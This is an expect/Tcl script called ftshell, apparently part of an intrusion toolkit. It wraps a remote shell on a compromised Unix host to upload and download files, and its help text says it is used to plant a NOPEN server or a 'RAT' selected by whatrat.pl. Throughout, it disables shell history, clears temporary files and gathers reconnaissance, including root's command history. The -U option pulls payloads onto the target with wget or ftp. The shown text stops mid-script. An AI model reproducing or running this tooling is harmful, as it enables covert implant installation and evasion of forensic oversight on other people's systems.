#!/bin/sh
#
# Automatically generated from ftshell.tcl 
#-----------------------------------------
# Run this in expect, the backslash makes the next line (exec)
# a comment to expect but not the shell \
exec expect -f "$0" -- ${1+"$@"}

## $RCSfile: ftshell.tcl,v $ $Revision: 1.54 $

#
# ftshell -- File Transfer Shell
#
# An expect wrapper arround telnet that adds functions
# via an "~~" escape to up/down -load files.
#

# Toggle verbose status
proc verbose {} {
    global verbose_flag
    set verbose_flag [expr !$verbose_flag]
    send_user "verbose [verbose_status]\r\n"
}
# Return verbose status
proc verbose_status {} {
    global verbose_flag
    if ($verbose_flag) {
	return "on"
    } else {
	return "off"
    }
}
# send_user if verbose is on
proc send_verbose {msg} {
    global verbose_flag

    if $verbose_flag {
	send_user "+ftshell $msg\n"
    }
}
# send_user if verbose is on
proc dbg {msg} {
    send_user "+DBG $msg\n"
}

# Toggle check of remote commands
proc toggleExitCheck {} {
    global checkExitStatus
    set checkExitStatus [expr !$checkExitStatus]
    send_user "check exit status [exitCheck]\r\n"
}

# Get value of exitCheck
proc exitCheck {} {
    global checkExitStatus
    if ($checkExitStatus) {
	return "on"
    } else {
	return "off"
    }
}

# local cd
proc chdir {} {
    stty -raw echo
    send_user "c\n"
    send_user "current directory  : [pwd]\n"
    send_user "change to directory: "
    expect_user -re "(.*)\n" {
	set newDir $expect_out(1,string)
	if [string length $newDir] {
	    if [catch {cd $newDir} msg] {
		send_user "failed: $msg\n"
	    }
	    send_user "local directory now: [pwd]\n"
	} else {
	    send_user "local directory unchanged\n"
	}
    }
    stty raw -echo
}

# get names for file for a 'get'
proc get_main {} {
    global prompt
    global sentLines

    stty -raw echo
    send_user "g\nget remote file \[localfile]: "
    expect_user {
	-re "(\[^ ]+) +(\[^ ]+)\n" {
	    set f1 $expect_out(1,string)
	    set f2 $expect_out(2,string)
	    send_verbose "copying (remote) $f1 to (local) $f2"
	    send "sh\r"
	    expect -re $prompt
	    dounsets
	    send "PS1='xfer$ '\r"
	    expect -re $prompt
	    get $f1 $f2
	    send "exit\r"
	    expect -re $prompt
	}
	-re "(\[^ ]+)\n" {
	    set f1 $expect_out(1,string)
	    send_verbose "copying $expect_out(1,string)"
	    # We try bash in no history mode, if that fails just plain "sh"
	    send "/bin/bash --posix +o history\r"
	    set status 999
	    
	    send "echo \$?\r"
	    send_verbose "echo \$?"
	    expect {
		-re "(\[0-9]+)\r\n" {
		    set status $expect_out(1,string)
		}
	    }
	    expect -re $prompt
	    if {$status != 0} {
		send "sh\r"
		expect -re $prompt
	    }
	    dounsets
	    send "PS1='xfer$ '\r"
	    expect -re $prompt
	    # THIS IS BAD? we overwrite our local /etc/passwd if that's what we just got?
	    get $f1 $f1
	    send "exit\r"
	    expect -re $prompt
	}
	-re "\n" {
	    send_verbose "nothing transfered"
	}
    }
    stty raw -echo
}

#get names of files for a 'put'
proc put_main {} {
    global prompt
    stty -raw echo
    send_user "p\nput localfile \[remotefile]: "
    expect_user {
	-re "(\[^ ]+) +(\[^ ]+)\n" {
	    set f1 $expect_out(1,string)
	    set f2 $expect_out(2,string)
	    send_verbose "copying (local) $f1 to (remote) $f2"
	    # We try bash in no history mode, if that fails just plain "sh"
	    send "/bin/bash --posix +o history\r"
	    set status 999
	    
	    send "echo \$?\r"
	    send_verbose "echo \$?"
	    expect {
		-re "(\[0-9]+)\r\n" {
		    set status $expect_out(1,string)
		}
	    }
	    expect -re $prompt
	    if {$status != 0} {
		send "sh\r"
		expect -re $prompt
	    }
	    send "PS1='xfer$ '\r"
	    expect -re $prompt
	    dounsets
	    put $f1 $f2
	    send "exit\r"
	    expect -re $prompt
	}
	-re "(\[^ ]+)\n" {
	    set f1 $expect_out(1,string)
	    send_verbose "copying $f1"
	    send "sh\r"
	    expect -re $prompt
	    dounsets
	    send "PS1='xfer$ '\r"
	    expect -re $prompt
	    put $f1 $f1
	    send "exit\r"
	    expect -re $prompt
	}
	-re "\n" {
	    send_verbose "nothing transfered"
	}
    }
    stty raw -echo
}	

# Get PID on remote system
proc getrpid {} {
    global prompt
    global rpid
    send "echo $$\r"
    expect -re "(.*)\r\n.*$prompt" {
        regexp "\r\n(\[^\r\n\]*)" $expect_out(1,string) ignore rpid
    }
    send_verbose "remote pid is $rpid"
}

#
# update the bytes transfered status message.  Update the display
# no more often then once per second unless 'amount' is 0 which
# means fource an update.
# Negative 'amount's may not work as expected.
#
proc updateStatus {direction amount} {
    global bytesTransfered
    global lastUpdateStatus
    global startTime
    global sentLines

    if {$bytesTransfered == 0} {
	send_user "\n"
	set lastUpdateStatus 0
	set startTime [timestamp]
	send_user [timestamp -format "Transfer started at %c\n" -seconds $startTime]
    }

    set newTime [timestamp]
    if { $amount != 0 } {
      # Add one for the newline
      set bytesTransfered [expr $bytesTransfered + $amount + 1]
      set sentLines [expr $sentLines + 1]
    }

    # Only update once per second.  however,
    # if amount is 0 then force update
    if {$lastUpdateStatus < $newTime || $amount == 0} {
	set lastUpdateStatus $newTime
	set timeDelta [expr $newTime - $startTime]
	if {$timeDelta == 0} {
	    set dataRate "< 1s -- likely buffered locally"
	} else {
	    set dataRate [expr $bytesTransfered / $timeDelta]
	    set dataRate "$dataRate B/s"
	}
	send_user "\r"
	send_user "Bytes $direction: $bytesTransfered; Transfer rate: $dataRate                               "
    }
}

# Run command via send on remote system
# Waits till comand has completed and then grabs
# its exit status and returns that
proc rcmd {cmd} {
    global prompt
    global checkExitStatus

    send_verbose "rcmd--> $cmd"
    send -- $cmd
    expect -re $prompt

    if {$checkExitStatus == 0} {
	return 0
    }

    set ologuser [log_user 1]
#    set ologuser [log_user 0]
    set status 999

    send "echo \$?\r"
    send_verbose "echo \$?"
    expect {
	-re "(\[0-9]+)\r\n" {
	    set status $expect_out(1,string)
	}
    }
    expect -re $prompt

    log_user $ologuser

    # Return to normal modes -- so calling routine need
    # only do a return.
    if {$status != 0} {
	send "stty echo\r"
	set cmd [string trimright $cmd "\r"]
	send_verbose "remote command '$cmd' failed; code=$status"
	log_user 1
    }

    return $status
}

# Find local file to use for uLocalFile
proc setlocalfile {} {
    global OtherUpload
    if { $OtherUpload == 2 } {
	global uLocalFile Uname
#	dbg "before looking: uLocalFile=$uLocalFile="
	set uLocalFile [exec whatrat.pl "$Uname" 2>/dev/null ]
#	dbg "after  looking: uLocalFile=$uLocalFile="
	if [string match "" $uLocalFile] {
	    send_user "\n\n\n"
	    send_verbose "\033\[1;31mCANNOT CONTINUE! Aborting!\a"
	    sleep 1
	    send_verbose "\033\[1;33mCANNOT CONTINUE! Aborting!!\a"
	    sleep 1
	    send_verbose "\033\[1;31mCANNOT CONTINUE! Aborting!!\a"
	    sleep 1
	    send_verbose "\033\[1;33mCANNOT CONTINUE! Aborting!!\a"
	    sleep 1
	    send_verbose "Cannot proceed with auto-upload, whatrat.pl cannot find"
	    send_verbose "us a valid RAT from remote uname -a output:\033\[0;34m\n\n\n  Uname=$Uname\n\n\033\[1;33m"
	    send_verbose "\033\[1;31mCANNOT CONTINUE! Aborting!\a"
	    sleep 1
	    send_verbose "\033\[1;33mCANNOT CONTINUE! Aborting!!\a"
	    sleep 1
	    send_verbose "\033\[1;31mCANNOT CONTINUE! Aborting!!!\a"
	    sleep 1
	    send_verbose "\033\[1;33mCANNOT CONTINUE! Aborting upload and going INTERACTIVE\a\033\[0;39m"
	    sleep 2
	    interactive
	}
    }
}

# Get file from remote system
proc get {infile outfile} {
    global prompt verbose_flag bytesTransfered
    global uudecode


    if (!$verbose_flag) {
	log_user 0
    }

    send_verbose "disabling echo: "
#    send "echo not doing stty -echo\r"
    send "stty -echo\r"
    expect -re $prompt

    set label "uulabel"
    if [string match *.uu $infile] {
	send_verbose "not encoding or compressing"
	set remote_cmd "cat $infile"
	set local_cmd  "cat > $outfile"
    } elseif [regexp "\.(Z|gz|bz2)$" $infile] {
	send_verbose "not compressing"
	set remote_cmd "cat $infile | uuencode $label | cat"
	set local_cmd  "$uudecode > $outfile"
    } else {
	set remote_cmd "compress -fc $infile | uuencode $label | cat";
	set local_cmd  "$uudecode | uncompress -cf > $outfile"
    }

    send_verbose "\nremote command: $remote_cmd"
    send_verbose "local command: $local_cmd"

    # Calculate amount of data to transfer
    send_user "Total bytes to transfer: "
    send "$remote_cmd | wc -c\r"
    expect -re $prompt

    set out [open "|$local_cmd" w]
#    send_verbose "open returned"

    send "$remote_cmd\r"


    log_user 0

    set bytesTransfered 0
    set sentLines 0
    expect {
	-re "^end\r\n" {
	    puts $out "end"
	    close $out
	    updateStatus "received" [string length "end"]
	}
	-re "^(\[^\r]*)\r\n" {
	    puts $out $expect_out(1,string)
	    updateStatus "received" [string length $expect_out(1,string)]
	    exp_continue
	}
        -re "xfer\\$ $" {
exp_continue
            send_verbose "caught prompt - aborting xfer"
            send '\003'
        }
    }
    updateStatus "received" 0

    if ($verbose_flag) {
	send_user "\n"
	log_user 1
    }

    expect -re $prompt


    send "stty echo\r"
    log_user 1
}
	
# send file to remote system
proc put {infile outfile} {
    global prompt verbose_flag bytesTransfered
    global errorCode
    global errorInfo
    global uudecodeCMD
    global sentLines

    set uudecodeCMD ""
    if (!$verbose_flag) {
	log_user 0
    }
    
    # Note: We can't assume that uudecode on the remote
    # system takes the -p argument :-(

#     send_verbose "remote pid is "
#     send "echo $$\r"
#     expect -re "(.*)\r\n.*$prompt" {
# 	set rpid $expect_out(1,string)
#     }

    set uudecodePath "not found"
    set perlPath "not found"
    set uncompressPath "not found"
    set gzipPath "not found"

    # This (may) avoids incorrectly NOT recognizing the output of type
#     send "\r"
#     expect -re $prompt

    send "type uudecode perl uncompress gzip\r"
    # sleep may help avoid incorrectly NOT recognizing the output of type?
    sleep 1
    expect -re "(.*)\r\n.*$prompt" {
	regexp "uudecode is (/\[^\r\n]*uudecode)"  $expect_out(1,string) ignore uudecodePath
	regexp "perl is (/\[^\r\n]*perl)"  $expect_out(1,string) ignore perlPath
	regexp "uncompress is (/\[^\r\n]*uncompress)"  $expect_out(1,string) ignore uncompressPath
	regexp "gzip is (/\[^\r\n]*gzip)"  $expect_out(1,string) ignore gzipPath
    }
    if ![regexp "uudecode" $uudecodePath] {
        if ![regexp "perl" $perlPath] {
	    send_verbose "type found no perl or uudecode...trying which instead"
	    send "setenv HOME \"\"\r"
	    sleep 1
	    expect -re $prompt
	    send "HOME=\"\" export HOME\r"
	    sleep 1
	    expect -re $prompt
	    send "which uudecode perl uncompress gzip\r"
	    expect -re "(.*)\r\n.*$prompt" {
		regexp "(/\[^\r\n]*uudecode)"  $expect_out(1,string) ignore uudecodePath
		regexp "(/\[^\r\n]*perl)"  $expect_out(1,string) ignore perlPath
		regexp "(/\[^\r\n]*uncompress)"  $expect_out(1,string) ignore uncompressPath
		regexp "(/\[^\r\n]*gzip)"  $expect_out(1,string) ignore gzipPath
	    }
	    if [regexp "no " $uudecodePath] {
		set uudecodePath "Not found"
	    }
	    if [regexp "no " $perlPath] {
		set perlPath "Not found"
	    }
	    if [regexp "no " $uncompressPath] {
		set uncompressPath "Not found"
	    }
	    if [regexp "no " $gzipPath] {
		set gzipPath "Not found"
	    }
	}
    }

    # This (may) avoids incorrectly NOT recognizing the output of type
    send "\r"
    expect -re $prompt

    send_verbose "\nPATH TO:  uudecode    $uudecodePath"
    send_verbose   "PATH TO:  perl        $perlPath"
    send_verbose   "PATH TO:  uncompress  $uncompressPath"
    send_verbose   "PATH TO:  gzip        $gzipPath\n"

    send_verbose "disabling echo: "
    send "stty -echo\r"
    expect -re $prompt

    set nocompress ""
    set usegzip ""
    if ![regexp "uncompress" $uncompressPath] {
	send_verbose "No uncompress"
	if ![ regexp "gzip" $gzipPath] {
	    send_verbose "No compress or gzip...will not compress upload"
	    set nocompress "yes"
	} else {
	    send_verbose "No compress but there is gzip...will uncompress with gzip -dc"
	    set usegzip "yes"
	}
    }

    if ![regexp "uudecode" $uudecodePath] {
        send_verbose "No uudecode"
        if ![regexp "perl" $perlPath] {
	    send_verbose "No perl or uudecode...cannot send file"
	    send "stty echo\r"
	    return
        } else {
	    send_verbose "Using perl for uudecode"
	    set uudecodeCMD "$perlPath -e '
\$_ = <> until (\$mode,\$file) = /^begin\\s(\\d*)\\s*(\\S*)/;
open (OUT,\"> \$file\") if \$file ne \"\";
while (<>) {
  last if /^end/;
  next if /a-z/;
  next unless int ((((ord() - 32) & 077) + 2) / 3) == int(length() / 4);
  print OUT unpack (\"u\",\$_) ;
}
close (OUT);
chmod oct \$mode, \$file ;
print \"Just created \$file:

ls -al \$file*\\n\";
print `ls -al \$file*`;
'"
       }
    } else {
        set uudecodeCMD $uudecodePath
    }


    set needEOF 0
    if [string match *.uu $infile] {
	send_verbose "not encoding or compressing"
	set local_cmd  "cat $infile"
	set remote_cmd "cat > $outfile <<EOF"
	set needEOF 1
    } elseif [regexp "\.(Z|gz|bz2)" $infile] {
        send_verbose "not re-compressing"
	set label "$outfile"
	set local_cmd  "cat $infile | uuencode $label | cat"
	set remote_cmd $uudecodeCMD
    } elseif [regexp "yes" $nocompress] {
        send_verbose "not compressing - no uncompress at remote end"
	set label "$outfile"
	set local_cmd  "cat $infile | uuencode $label | cat"
	set remote_cmd $uudecodeCMD
    } else {
        send_verbose "compressing"
        if  [string match "yes" $usegzip] {
	  set label "$outfile.gz"
	  set local_cmd  "gzip -c $infile | uuencode $label | cat";
          set remote_cmd "$uudecodeCMD && $gzipPath -dc $label > $outfile && rm -f $label"
        } else {
	  set label "$outfile.Z"
	  set local_cmd  "compress -fc $infile | uuencode $label | cat";
	  set remote_cmd "$uudecodeCMD && $uncompressPath -cf $label > $outfile && rm -f $label"
#	  set remote_cmd "cat | tee /tmp/.tt.uu | $uudecodeCMD && $uncompressPath -cf $label > $outfile && rm -f $label"
        }
    }


    send_verbose "\nlocal command: $local_cmd"
    send_verbose "remote command: $remote_cmd"

    if [rcmd "touch $outfile\r"] {
	send_verbose "put failed -- can't write to destination file"
	expect -re $prompt
	send "stty echo\r"
	log_user 1
	return 1
    }

    if { $needEOF == 1 } {
      # Turn off PS2 prompt for hear-is documents
      if [rcmd "PS2=\r"] {
	send_verbose "Unable to clear PS2 variable"
	expect -re $prompt
	log_user 1
	return 1
      }
    }
	
    # Calculate amount of data to transfer
    send_user "\nTotal bytes to transfer: "
    set fp [open "|$local_cmd | tee /tmp/.t.$$.uu | wc -c" r]
    gets $fp buf
    send_user "$buf\n"

    # Issue remote command to recieve data
    send_verbose "sending ... once we see put ready : prdy"
    send "\r"
    expect -re $prompt

    # We indicate the remote side is "put ready" with the echo prdy 
    # So if the echo command got there, we assume the remainder of that line
    # did as well, so it is ready for data.
    send "echo prdy ; $remote_cmd\r"

    # Pause here to wait until remote execution of the command is confirmed
    # via the "put ready"
    expect -re "prdy"
    
    log_user 0
    set sentLines 0

#    set fp [open "|$local_cmd" r]
    set fp [open "/tmp/.t.$$.uu" r]
    #set blah [exec rm -f /current/tmp/t.uu]
    #set lfp [open "/current/tmp/t.uu" w]
    set bytesTransfered 0
    while 1 {
 	set buf ""
 	set len [gets $fp buf]
        if {-1 == $len} break
 	if {$len > 0} {
            send -- "$buf\n"
            updateStatus "sent" [string length $buf] 
        }
    }
# ## This was an attempt to throttle the throughput. With expect 5.42.1,
# ## something was causing introduction of crap or duplicate blocks
# ## of data, we thought maybe tty was overloaded. Turns out upgrading to
# ## version expect 5.43 fixed this problem.
# ##
# ##    set send_slow {61 .011}
# #     while 1 {
# # 	set buf ""
# # 	set len [gets $fp buf]
# # 	# ADD these only if ppp? 
# #         set blah [exec usleep 100]
# #         set blah [exec usleep 100]
# #         set blah [exec usleep 100]
# #         set blah [exec usleep 100]
# #         set blah [exec usleep 100]
# #         set blah [exec usleep 100]
# # 	if {-1 == $len} break
# # 	if {$len > 0} {
# # 	    set ret [send -- "$buf\n"]
# #             #puts $lfp "$buf"
# # #	    set blah [exec echo "$buf" >> /current/tmp/t.uu]
# # #	    set ret [puts "$buf"]
# #             #set blah [exec echo len=$len send returns $ret >> /current/tmp/dammit]
# # 	} else {
# # #            set blah [exec echo BAD len=$len send returns $ret >> /current/tmp/dammit]
# #         }
# # #	send -- "$buf\n"
# # 	updateStatus "sent" [string length $buf] 
# #         # Delay here keeps FC3 ftshell client in synch?
# # #        set pausenow [expr $sentLines % 10]
# # #        if {$pausenow == 0} {
# # # 20060303: Now we do this once per line
# #         set blah [exec usleep 100]
# #         #set blah [exec usleep 100]
# #         #set blah [exec usleep 100]
# # #        }
# #     }
    close $fp
    exec rm -f /tmp/.t.$$.uu
        #set blah [exec usleep 100]
    updateStatus "sent" 0

    if ($verbose_flag) {
	send_user "\n"
	log_user 1
    }

    if ($needEOF) {
	send "EOF\r"
    } else {
	send "\r"
    }



    if [file executable $infile] {
	if [rcmd "chmod +x $outfile\r"] {
	    send_verbose "chmod failed"
	}
    }

    rcmd "stty echo\r"
    send "ls -l $outfile*\r"
    expect -re $prompt

    log_user 1
}

proc interactivebanner {} {
    global showthis
    global TheirPath
    global Uname

    set nowTime [timestamp]
    send_verbose "+\n"
    send_verbose "ENTERING INTERACTIVE MODE at \n\+           "
    send_verbose [timestamp -format " %c" -seconds $nowTime]
    send_verbose ""
    if { ![string match "" $TheirPath] } {
	send_verbose "Remote PATH          : $TheirPath"
    }
    if { ![string match "" $Uname] } {
	send_verbose "uname says remote OS : $Uname"
    }
    if { ![string match "" $showthis] } {
	send_verbose "ourtn gave us this   : $showthis\n+-----------------------------------------------------"
    }
}

proc execbash {forced} {
    global dobash
    global prompt
    global usesetenv
    global bashcount

    # argument forced forces another exec bash even if
    # $bashcount or !$dobash (allows ~~B to work).

    if { $bashcount && !$forced } {
	return
    }
    if { $dobash || $forced } {
	set bashcount [expr $bashcount + 1]
	set findwith "which"
	set setshell "SHELL=/bin/bash"
	if ($usesetenv) {
	    set setshell "setenv SHELL /bin/bash"
	}
	dounsets
	send "$findwith bash && $setshell && exec bash\r"
	expect -re $prompt
	dounsets
	send "\[ \"\$BASH\" = \"/bin/bash\" -o \"\$SHELL\" = \"/bin/bash\" \] && PS1=\">>\\d \\t \[pwd:\\w\]\\n\\u@\\h \\\\\$ \"\r"
	expect -re $prompt
    }
}
proc dounsets {} {
    global prompt

    send "\r"
    expect -re $prompt
    send "unset HISTFILE HISTSIZE HISTFILESIZE\r"
    expect -re $prompt
}

proc dothisfirst {} {
    global dothisquiet
    global dothisreallyquiet
    global exitstartingdir
    global prompt
    global donealready
    global uPath
    global TheirPath
    global PathSet
    global my_script
    global my_script_firstline
    global usesetenv
    global OtherUpload
    global Uname
    global TheirPath
    
    set startingDir "/tmp"

    dounsets
    if { [string length $uPath] > 0 } {
	if { $PathSet == 0 } {
	    if ($usesetenv) {
		send "setenv PATH $uPath:\$PATH\r"
	    } else {
		send "PATH=$uPath:\$PATH ; export PATH\r"
	    }
	    expect -re $prompt
	    send "echo PATH=\$PATH\r"
	    expect -re $prompt
	}
	set PathSet 1
    }
#    if { [string length $TheirPath] == 0 } {
#	system rm -f /current/tmp/ftshell.latest
#        if { $my_script_firstline > 0 } {
#            if ![file exists /current/tmp] {
#	        system mkdir /current/tmp
#            }
#	    if [catch "exec which fix-typescript" msg] {
#		send_verbose "fix-typescript not in PATH"
#	    } else {
#		system fix-typescript $my_script 2>/dev/null | tail +$my_script_firstline > /current/tmp/ftshell.latest
#	    }
#	}
#	if [catch "exec grep ^PATH /current/tmp/ftshell.latest | tail -1" msg] {
#	    send_verbose "Need fix-typescript in local PATH\n"
#	    set TheirPath ""
#	} else {
#	    set TheirPath "[exec grep ^PATH /current/tmp/ftshell.latest | tail -1]"
#	}
#    }

    if { $donealready } {
	return
    }
    set donealready 1
    send "pwd\r"
#   expect -re $prompt
    expect -re "pwd\r\n(.*)\r\n.*$prompt" {
	regexp "(/\[^\r\n\]*)"  $expect_out(1,string) ignore startingDir
    }
    # If we don't have a leading slash and a dir at least one deep,
    # set startingDir back to /tmp.
    if { ![regexp "^/(..*)/." $startingDir] } {
        set startingDir "/tmp"
    }
    # Set startingDir back to /tmp if trhe -x option was given on the command line.
    if { [string match "yes" $exitstartingdir] } {
	set startingDir "/tmp"
    }
    
    if { ![string match "yes" $dothisquiet] } {
#	send "cd /dev ; /bin/ps -ef | grep $$\r"
	send "cd /dev ; ps\r"
	expect -re $prompt
#	send "cd /tmp ; /bin/ps -ef | grep $$\r"
	send "cd $startingDir || cd /tmp ; pwd ; ps\r"
	expect -re $prompt
	send "set; echo === ; env\r"
	expect -re $prompt
	send "ls -alrt / | tail\r"
	expect -re $prompt
	send "ls -alrt /tmp | tail\r"
	expect -re $prompt
    } else {
        send "cd $startingDir || cd /tmp ; pwd\r"
        expect -re $prompt
    }
    if { ![string match "yes" $dothisreallyquiet] || $OtherUpload == 2 } {
        send "uname -a\r"
sleep 1
	expect -re "(.*)\r\n.*$prompt" {
	    regexp ".*uname -a\r\n(.*)"  $expect_out(1,string) ignore Uname
	}
    }
    if { ![string match "yes" $dothisreallyquiet] } {
	send "tail /.*history | strings ; echo ======= ; tail /root/.*history | strings \r"
	expect -re $prompt
	send "w ; date ; date -u ; df -k \r"
	send "\r"
	send "pwd\r"
	expect -re "pwd\r\n(.*)\r\n.*$prompt" {
	   set unknown ""
	    regexp "PATH=(\[^\r\n\]*)" $expect_out(1,string) unknown TheirPath
	}
    }
}

proc interactive {} {
    global prompt
    global dodothis
    global dobash
    global user_break
    global usesetenv

    if { [string match "yes" $dodothis] } {
	dothisfirst
    }
    interactivebanner
    send "\r"
    expect -re $prompt
    # this does nothing if dobash not set
    execbash 0

    while [catch "interact ~~ cmd" msg] {
	send_verbose "interact failed - perhaps the connection died"
	send_verbose "hit (c) to continue agin, or (q) to quit"
	stty -raw echo
	expect_user {
	    c { send_user "continue...\n" }
	    q { send_user "quitting...\n"; exit 1 }
	}
	stty raw -echo
	#    exit 1
    }
    if ($user_break) {
	exit 1 ;
    } else {
	exit 0
    }
}

proc processUpload {} {
    global prompt
    global uLocalFile uRemoteFile uBeforeCmd uAfterCmd uStayOn
    global user_spawn_id
    global uudecodeCMD
    global user_break
    global uRemoteUploadCommand
    global dobash
    global usesetenv
    global dothisreallyquiet
    global OtherUpload
    global Uname
    global TheirPath showthis

    stty raw -echo

    # If the user presses CTRL-c, pass it on and switch to interactive mode
    expect_after {
	-i $user_spawn_id \003 {
	    send "\003"
	    set user_break 1
	    set dothisreallyquiet "yes"
	    send_verbose "\n\nUSER BREAK--ENTERING INTERACTIVE MODE (-Quietly)\n\n"
	    interactive
	}
    }
    
    send_verbose "               : Processing upload\n"

#    dounsets
    # this does nothing if dobash not set
    execbash 0

    dothisfirst

    # If dothisfirst resulted in Uname being populated, this 
    # will set uLocalFile for us.
    setlocalfile

    set nowTime [timestamp]

    send_verbose "\n+-----------------------------------------------------+"
    send_verbose "+\n"
    send_verbose "ENTERING AUTO UPLOAD MODE at \n\+           "
    send_verbose [timestamp -format " %c" -seconds $nowTime]\n+
    if { ![string match "" $TheirPath] } {
	send_verbose "Remote PATH          : $TheirPath"
    }
    if { ![string match "" $Uname] } {
	send_verbose "uname says remote OS : $Uname"
    }
    if { ![string match "" $uLocalFile] } {
	if { $OtherUpload == 2 } {
	    send_verbose "whatrat.pl chose rat : $uLocalFile"
	} else {
	    send_verbose " -u Local File       : $uLocalFile"
	}
    }
    if { ![string match "" $showthis] } {
	send_verbose "ourtn gave us this   : $showthis\n+-----------------------------------------------------+"
    }

    if { [string match "" $uBeforeCmd] == 0 } {
       send "$uBeforeCmd\r"
       send "echo ebc\r"
       expect {
	   -re "(.*)ebc\r\n.*$prompt" { }
       }
       send "\r"
       expect -re $prompt
    }

    if { [string length $uRemoteUploadCommand] > 0 } {
	send "\r"
	expect -re $prompt
	send_verbose "\r\n\r\nABOUT TO UPLOAD $uRemoteFile via::${uRemoteUploadCommand}::\r\n\r\n"
	send "${uRemoteUploadCommand}\r"
	expect -re $prompt
    } else {
	if { [string length $uLocalFile] > 0 } { 
	    if { [string length $uRemoteFile] > 0 } {
		put $uLocalFile $uRemoteFile
	    } else {
		put $uLocalFile $uLocalFile
	    }
	    if { [string length $uudecodeCMD] <= 0 } {
		send "stty echo\r"
		set user_break 1
		send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!\a"
		sleep 1
		send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting!!\a"
		sleep 1
		send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!!!\a"
		sleep 1
		send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting upload and going INTERACTIVE\a\033\[0;39m"
		sleep 2
		interactive
	    }
	} else {
	    
	}
    }
    
    if { [string length $uAfterCmd] > 0 } {
      send "$uAfterCmd\r"
      expect -re $prompt
    }

    if { $uStayOn } {
      interactive
    } else {
      send "echo eac\r"
      expect -re "(.*)eac\r\n.*$prompt"
      send "exit\r"
      expect eof
    }
    exit 0
}

proc cmd {} {
    global prompt
    global sentLines

    set CTRLZ \032

    send_user "Command (g,p,? for more): "
    expect_user {
	g {
	    if [catch {get_main} msg] {
		send_user "get command aborting, Reason: $msg\n"
		send "\003\r"
		expect -re $prompt
		send "\r"
		send "stty echo\r"
		stty raw -echo
		send "\r"
	    }
	}
	p {
	    if [catch {put_main} msg] {
		send_user "put command aborting, Reason: $msg\n"
		send "\003\r"
		expect -re $prompt
		send "stty echo\r"
		stty raw -echo
		send "\r"
	    }
	}
	c chdir
	v verbose
	B {
	    send_verbose "Switching to bash if we can"
	    execbash 1
	}
	e toggleExitCheck
	~ {send "~"}
	"\\?" {
	    send_user "?\n"
	    send_user "~~g  get file from remove system\n"
	    send_user "~~p  put file to remote system\n"
	    send_user "~~c  change/show local directory\n"
	    send_user "~~~  send ~ to remote system\n"
	    send_user "~~?  this list\n"
	    send_user "~~v  verbose mode toggle (currently [verbose_status])\n"
	    send_user "~~e  exit code check toggle (currently [exitCheck])\n"
	    send_user "~~B  switch to bash via exec bash/unsets if possible\n"
	    send_user "~~^Z suspend\n"
	}
	$CTRLZ {
	    stty -raw echo
	    exec kill -STOP 0
	    stty raw -echo
	}
	-re . {send_user "unknown command\n"}
    }
    send_verbose "resuming session..."
    send "\r"
    expect -re $prompt
}

# Chatch SIGINT
trap -code {
    send_user "\n"
    send_user "got a control-C\n"
interactive
    error controlc
} SIGINT

# Begin main routine

if [info exists env(EXPECT_PROMPT)] {
    set prompt $env(EXPECT_PROMPT)
} else {
#    set prompt "\[ (%|:|#|\\$)]*.*(%|:|#|\\$)\[ ]*$"
    set prompt "\[ (>|%|:|#|\\$)]*.*(>|%|:|#|\\$)\[ ]*$"
#    set prompt "(%|:|#|\\$)\[ ]*$"
}

set user_break 0
set version 3.11.0.5
set timeout -1
set verbose_flag 1
set checkExitStatus 1
set bytesTransfered 0
set sawCtrlC 0
set donealready 0
set bashcount 0
set sentLines 0
set rpid ""
# Get a version of uudecode that writes the output to stdout
# This is for the local system, not the remote one.
set os [exec uname -s]
if {[string compare $os "Linux"] == 0} {
  set uudecode "uudecode -o /dev/stdout"
} elseif {[string compare $os "SunOS"] == 0} {
  set uudecode "uudecode -p"
} else {
  send_verbose "Unknown OS type '$os', can't determine args to uudecode";
  exit 1
}

# Give response to -v version request and exit
if {[string match "-v" $argv] == 1} {
  send_verbose " Version $version"
  exit 0
}

if {[string match "-h" $argv] == 1} {
  send_user "
Usage: ftshell \[options\] program \[arguments\]

ftshell is an expect script that (locally) runs the program \[arguments\]
provided, normally some sort of shell access to another Unix system.
It allows for either automatic or interactive upload/download of files
using some combination of uu*code, compress, gzip, perl. The target's
uudecode, compress, gzip and perl are located via the shell builtin
\"type\", unless that fails and then \"which\" is used.

Or, using the -U option, automatic file transfer can be achieved via a
user-provided string which results in a file being transferred to the
system (e.g., ftp, wget, etc.)

Normally, ftshell is used by ourtn and the payload being uploaded is a
NOPEN server. But ftshell is usable directly by the user, as well.

OPTIONS (MUST BE SPACE DELIMITED, EACH OPTION GETTING ITS OWN \"-\")

 -h/-v       Show usage/version.
 -I          Run some info gathering commands when connected, before
             either automatic upload/execution or user interaction.
             Commands run (where \$DIR is either our cwd or /tmp):
                 ls -alrt / | tail
                 ls -alrt /tmp | tail
                 cd /dev ; /bin/ps -ef | grep \$\$
                 cd \$DIR ; /bin/ps -ef | grep \$\$
                 tail /.*history | strings ; echo =======
                 tail /root/.*history | strings
                 w ; date ; date -u ; df -k ; uname -a
                 cd \$DIR ; pwd
 -q          Used with -I, skips the first four lines above.
 -Q          Used with -I, skips all but the last line above.
 -x          Used with -I, exits the working directory that we started in
             when the shell startd up. This is intended for situations where
	     the old behavior (cd to /tmp) is desired.
 -9 list     Add the list of colon delimited paths to the PATH.
 -B          Try to exec bash if available.
 -E          Use \"setenv VAR val\" to set variables not \"VAR=val\".
 -u file     Upload file automatically once connected. If upload cannot
             be done due to lack of proper Unix commands on target, an
             interactive shell is provided instead. Use the \$A and \$B
             environment variables to prepare for and run the file,
             respectively, or to otherwise do stuff on target. If 
             \"-u viaftshellauto\" is used, ftshell attempts to use remote
             uname command to determine what exactly to upload.
 -r rname    Uploaded file name on target.
 -L          Leave the shell in interactive mode after automatic upload
             is complete. (Default is to exit the shell.)
 -U          Execute the commands in the local file
             /current/.ourtn-ftshell-upcommand on the target
             to upload the file rather than the -u method. End result
             must be that rname exists in /tmp. This will normally be a
             wget or ftp command. If for some reason (e.g., a previous
             failed attempt) the right binary is already there, file
             could just contain \"echo\", to basically do nothing at that
             step. (ftshell -U option is used by ourtn -V.)

ENVIRONMENT VARIABLES 
   B         Run the contents of \$B before the automatic upload.
   A         Run the contents of \$A after the automatic upload.
   SHOWTHIS  String to show user once connected.

ftshell Version $version
"
  exit 0
}

# my_script will be the file this window is scripted to, if any, with
# a "script -af file" command
set my_pid [exp_pid]
if [catch "exec which scriptcheck" msg] {
  send_verbose "scriptcheck not in PATH"
